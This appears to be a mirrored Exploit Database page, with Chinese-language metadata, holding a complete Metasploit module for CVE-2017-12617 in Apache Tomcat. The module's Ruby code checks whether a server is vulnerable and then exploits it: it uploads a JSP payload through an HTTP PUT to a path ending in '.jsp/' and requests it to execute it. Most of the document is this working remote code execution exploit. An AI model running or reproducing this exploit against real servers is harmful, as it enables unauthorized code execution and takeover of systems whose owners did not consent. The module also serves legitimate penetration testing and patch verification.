Tomcat – Remote Code Execution via JSP Upload Bypass (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2017-10-17
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/43008/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Tomcat RCE via JSP Upload Bypass',
  'Description'=> %q{
  This module uploads a jsp payload and executes it.
  },
  'Author'=> 'peewpw',
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2017-12617' ],
  [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
  [ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
  ],
  'Privileged' => false,
  'Platform'=> %w{ linux win }, # others?
  'Targets' =>
  [
  [ 'Automatic',
  {
  'Arch' => ARCH_JAVA,
  'Platform' => 'win'
  }
  ],
  [ 'Java Windows',
  {
  'Arch' => ARCH_JAVA,
  'Platform' => 'win'
  }
  ],
  [ 'Java Linux',
  {
  'Arch' => ARCH_JAVA,
  'Platform' => 'linux'
  }
  ]
  ],
  'DisclosureDate' => 'Oct 03 2017',
  'DefaultTarget'=> 0))
  
  register_options([
  OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
  Opt::RPORT(8080)
  ])
  end
  
  def check
  testurl = Rex::Text::rand_text_alpha(10)
  testcontent = Rex::Text::rand_text_alpha(10)
  
  send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
  'method'=> 'PUT',
  'data'=> "<% out.println(\"#{testcontent}\");%>"
  })
  
  res1 = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
  'method'=> 'GET'
  })
  
  if res1 && res1.body.include?(testcontent)
  send_request_cgi(
  opts = {
  'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
  'method'=> 'DELETE'
  },
  timeout = 1
  )
  return Exploit::CheckCode::Vulnerable
  end
  
  Exploit::CheckCode::Safe
  end
  
  def exploit
  print_status("Uploading payload...")
  testurl = Rex::Text::rand_text_alpha(10)
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
  'method'=> 'PUT',
  'data'=> payload.encoded
  })
  if res && res.code == 201
  res1 = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
  'method'=> 'GET'
  })
  if res1 && res1.code == 200
  print_status("Payload executed!")
  else
  fail_with(Failure::PayloadFailed, "Failed to execute the payload")
  end
  else
  fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
  end
  end
  
  end